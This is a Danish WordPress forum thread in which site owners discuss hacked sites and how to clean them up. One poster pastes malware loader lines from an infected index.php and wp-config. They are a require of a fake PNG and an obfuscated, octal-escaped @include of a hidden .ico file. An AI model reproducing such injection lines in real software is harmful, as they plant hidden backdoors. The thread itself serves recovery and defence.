http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1 WordPress DK Forum Topic: Hacket hjemmeside da-DK Sun, 09 Aug 2026 10:39:00 +0000 http://bbpress.org/?v=1.0.1 q http://wp-danmark.dk/forum/search.php http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70649 ons, 12 dec 2018 18:37:38 +0000 Landsten 70649@http://wp-danmark.dk/forum/ <p>:( Jeg må i gang med en ren installation for alt er fucket op men håber jeg kan slippe for at uploade alle billeder mv. </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70621 man, 10 dec 2018 09:21:36 +0000 boldt 70621@http://wp-danmark.dk/forum/ <p>ja, det er uhyggeligt så udspekulerede hackerne er.<br /> wp-includes er en mappe som vi andre aldrig arbejder i, da det er hjemstedet for WordPress-motoren.</p> <p>Ærgerligt man ikke kan kinesisk, det kunne være sjovt at se, hvilket budskab de ønsker at sprede.</p> <p>Husk der skal skiftes password på webhotel og FTP adgang.</p> <p>Jeg bruger bla. <a href="https://da.wordpress.org/plugins/better-wp-security/">iThemes Security</a> plugin. jeg husker en gang jeg var blevet angrebet og efterfølgende havde en ren installation, hvordan det væltede op med 404 fejl fordi hackere søgte efter filer som ikke længere var. </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70619 søn, 09 dec 2018 19:30:18 +0000 Landsten 70619@http://wp-danmark.dk/forum/ <p>Se her.<br /> har døbt den ene fil om fra png til txt og se en gang<br /> <a href="http://kvindeluner.dk/wp-includes/images/dddddddddddddddddddddddddddmedia/logo_s.txt" rel="nofollow">http://kvindeluner.dk/wp-includes/images/dddddddddddddddddddddddddddmedia/logo_s.txt</a> </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70617 søn, 09 dec 2018 19:19:01 +0000 Landsten 70617@http://wp-danmark.dk/forum/ <p>Det er index.php i root den i tema ser rigtig nok ud.<br /> fandt også<br /> //installbg<br /> $rifilename='/home/www/kvindeluner.dk/wp-includes/images/media/logo_s.png';<br /> require("$rifilename");<br /> //installend</p> <p>/*49426*/</p> <p>@include "57home57www/\153vind\145lune\162.dk/\160hp-f\165sion57infu\163ions57late\163t_vi\144eo_c\157mmen\164s_pa\156el/.\1455fff\144a1.i\143o";</p> <p>/*49426*/</p> <p>i wp-config<br /> det har jeg fjernet nu men den der png fil undre mig lidt, kan ikke lige plasere hvor den skal bruges og når jeg åbner den i wordpad kommer der en masse tags frem som passer til siden.<br /> har overvejet at lægge nye filer i /home/www/kvindeluner.dk/wp-includes/images/media/ og slette alle andre filer der er i den mappe, så det bare øv hvis jeg midster noget </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70616 søn, 09 dec 2018 18:55:43 +0000 boldt 70616@http://wp-danmark.dk/forum/ <p>Der er en index.php i samtlige mapper for at beskytte din wordpress imod ulovlig indtrængen.</p> <p>Hvilken en er det du viser?</p> <p>Men, du har ret. Den ser mistænkelig ud.</p> <p>index.php i roden viser:<br /> <blockquote>&lt;?php<br /> /**<br /> * Front to the WordPress application. This file doesn't do anything, but loads<br /> * wp-blog-header.php which does and tells WordPress to load the theme.<br /> *<br /> * @package WordPress<br /> */</p> <p>/**<br /> * Tells WordPress to load the WordPress theme and output it.<br /> *<br /> * @var bool<br /> */<br /> define('WP_USE_THEMES', true);</p> <p>/** Loads the WordPress Environment and Template */<br /> require( dirname( __FILE__ ) . '/wp-blog-header.php' );</blockquote></p> <p>index.php i tema viser noget opbygning af side.(header, footer, loop, ...)</p> <p>alle andre index.php viser:<br /> <blockquote>&lt;?php<br /> // Silence is golden.<br /> </blockquote> </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70615 søn, 09 dec 2018 18:22:09 +0000 Landsten 70615@http://wp-danmark.dk/forum/ <p>Kan det være rigtig at index.php skal se sådan her ud ?</p> <p><code>&lt;?php<br /> //installbg<br /> $rifilename='/home/www/kvindeluner.dk/wp-includes/images/media/logo_s.png';<br /> require("$rifilename");<br /> //installend</p> <p>/*49426*/</p> <p>@include "57home57www/\153vind\145lune\162.dk/\160hp-f\165sion57infu\163ions57late\163t_vi\144eo_c\157mmen\164s_pa\156el/.\1455fff\144a1.i\143o";</p> <p>/*49426*/<br /> /**<br /> * Front to the WordPress application. This file doesn't do anything, but loads<br /> * wp-blog-header.php which does and tells WordPress to load the theme.<br /> *<br /> * @package WordPress<br /> */</p> <p>/**<br /> * Tells WordPress to load the WordPress theme and output it.<br /> *<br /> * @var bool<br /> */<br /> define('WP_USE_THEMES', true);</p> <p>/** Loads the WordPress Environment and Template */<br /> require( dirname( __FILE__ ) . '/wp-blog-header.php' );<br /> </code> </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70610 søn, 09 dec 2018 15:18:30 +0000 Landsten 70610@http://wp-danmark.dk/forum/ <p>Glemte lige at sige rigtige mænd tager ikke backup de tuder lol<br /> og jeg er så ham der tuder for glemmer altid at tage backup </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70609 søn, 09 dec 2018 14:44:21 +0000 Landsten 70609@http://wp-danmark.dk/forum/ <p>Hold da op sikke en smøremen der er vel kun den kedelige vej så.<br /> Det var faktisk google der fandt det for migsearch.google.com men havde godt set min indtjening var faldet en del men tænkte ikke meget over det for det er længe siden jeg havde opdateret siden med nye ting.</p> <p>Vender lige tilbage hvis jeg finder noget.<br /> kan ikke finde noget i db'en eller i .htaccess </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70608 søn, 09 dec 2018 13:55:13 +0000 boldt 70608@http://wp-danmark.dk/forum/ <p>@Landsteen<br /> Din side er blevet hacket!!!</p> <p>Hvordan fandt du ud af at din side var blevet hacket?</p> <p>Der er mange steder ting kan gemmes: .htaccess, jpg, txt, index.htm (og index.php) i billed-mapper, i plugin-mapper, i tema-mapper</p> <p>Det er svært at finde ud af, hvor hackerens filer gemmer sig. </p> <p>Det er svært at sige, hvordan hullet er opstået:<br /> i en gammel - ikke opdateret - plugin eller tema.<br /> i en mappe, oprettet af dig eller "den gamle plugin/tema" som aldrig er blevet sikret med en index.php fil og begrænsning i adgang.</p> <p>Det kan også komme fra en anden hjemmeside på dit webhotel enten en du selv ejer eller en ukendt.</p> <p>Der er kun en rigtig ting at gøre: indlæs din backup.</p> <p>Alternativt kan din hjemmeside reddes ved at lede efter afvigelser i installationen.<br /> Er index.php større end forventet? Er der billeder, plugins eller temaer som du ikke kender? </p> <p>Men en standard-installation af WP indeholder 1.709 filer og 172 mapper<br /> + mapper og filer for hvert tema og plugin du efter følgende installerer<br /> + billeder, i 4 versioner, organiseret i undermapper.<br /> Det er ikke til at overskue.</p> <p>Når en side bliver hacket går det som regel ikke ud over Databasen. Derfor er det muligt at lægge en ny wp-installation i et renset/tomt webhotel.<br /> <strong><br /> MEN PAS PÅ - DET ER DIT EGET ANSVAR, HVIS DET GÅR GALT!</strong></p> <p>Først skal alt fra webhotellet kopieres til egen pc med dit FTP program(så har du en - befængt - backup), og så skal følgende filer flytte til en frisk WP.</p> <p>En frisk WP-zip hentes fra wordpress.org og udpakkes. </p> <p>Du skal gemme filen wp-config.php, da den indeholder info om din hjemmeside database, mv.<br /> Du skal gemme mappen wp-content/uploads da den indeholder dine billeder, og andet.<br /> ovenstående filer skal gennemgås med en "tættekam" er der noget som er forkert eller ikke kan genkendes skal det slettes.</p> <p>(i gamle dage skulle man også fjerne en installations-fil fra den friske wp, men jeg kan ikke finde den så måske eksisterer den ikke mere)<br /> Når filerne er tilføjet lægges det hele op på webhotellet (i den tømte mappe) med dit FTP-program.</p> <p>Nu har du så - forhåbentlig - en standard installation af af din hjemmeside med alt indhold og du kan nu gå i kontrolpanelet og tilføje det rigtige tema og de plugins du bruger.</p> <p><strong>HUSK!</strong><br /> Der er på eget ansvar hvis du kaster dig ud i ovenstående.</p> <p><strong>Desuden</strong><br /> Hold orden i din WP installation (Hold WP, Plugins, Temaer opdateret, slet plugins du ikke bruger, find erstatning for plugins som ikke vedligeholdes, slet temaer du ikke bruger - undtagen Twenty... )<br /> Tænk sikkerhed. Brug en sikkerhedsplugins til overvågning af illegal aktivitet. </p> <p>(Jeg skriver senere et indlæg om hvordan jeg har sikret mine hjemmesider) </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70604 søn, 09 dec 2018 11:51:48 +0000 Landsten 70604@http://wp-danmark.dk/forum/ <p>Hejsa jeg er med på en lytter her for jeg har samme problem.<br /> men jeg har ikke nogen mapper i root eller andre steder.<br /> hvor kan jeg lede efter hullet ?<br /> nogen der har nogen ider?<br /> i kan se det her<br /> <a href="http://kvindeluner.dk/uzma-s96713-morv-xlppxmgtzvtbntc/" rel="nofollow">http://kvindeluner.dk/uzma-s96713-morv-xlppxmgtzvtbntc/</a> </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70576 tors, 06 dec 2018 18:39:23 +0000 BTM 70576@http://wp-danmark.dk/forum/ <p>Tak Boldt</p> <p>Jeg går i gang :-) </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70571 tors, 06 dec 2018 14:59:20 +0000 boldt 70571@http://wp-danmark.dk/forum/ <p>Nogle webhoteller har et filemanagement system i deres administrationspanel til erstatning for FTP.</p> <p>Jeg bruger FileZilla som hentes her: <a href="https://filezilla-project.org/" rel="nofollow">https://filezilla-project.org/</a><br /> Vælg: Filezilla Client - all platforms</p> <p>Programmet installeres på din pc.</p> <p>For at kunne bruge FTP skal du fra dit Webhotel have følgende oplysninger:<br /> Vært (server adressen)<br /> Brugernavn<br /> Adgangskode<br /> port nr</p> <p>Programmet er let at bruge. Indtast dine FTP-oplysninger og du får adgang.<br /> I venstre side har du indholdet af din egen pc, og i højre har du indholdet af dit webhotel. </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70570 tors, 06 dec 2018 14:25:11 +0000 BTM 70570@http://wp-danmark.dk/forum/ <p>Hej Boldt</p> <p>Tak forhurtigt svar.<br /> Jeg redigere kun hjemmesiden via WordPress som administrator.<br /> Hvordan (undskyld mit uvidende spørgsmål) tilgår jeg hjemmesiden med et FTP program, og hvilket kan du anbefale? </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70569 tors, 06 dec 2018 13:38:03 +0000 boldt 70569@http://wp-danmark.dk/forum/ <p>Hvordan ser der ud når du kigger på mappestrukturen og filer i FTP?<br /> er der en "deep" mappe?</p> <p>Hvis der er en mappe som ikke skal være der, så er siden blevet hacket og der gemmer sig helt sikkert mere end blot denne. Hackere lægger som regel også andre spor til deres kolleger. </p> http://wp-danmark.dk/forum/topic/hacket-hjemmeside-1#post-70568 tors, 06 dec 2018 13:20:57 +0000 BTM 70568@http://wp-danmark.dk/forum/ <p>Siden <a href="http://www.frh-kajakklub.dk" rel="nofollow">http://www.frh-kajakklub.dk</a> har uden vores viden fået tilføjet undermappen "deep", se linket:</p> <p><a href="http://www.frh-kajakklub.dk/deep" rel="nofollow">http://www.frh-kajakklub.dk/deep</a></p> <p>Hvordan fjerner jeg denne undermappe? </p>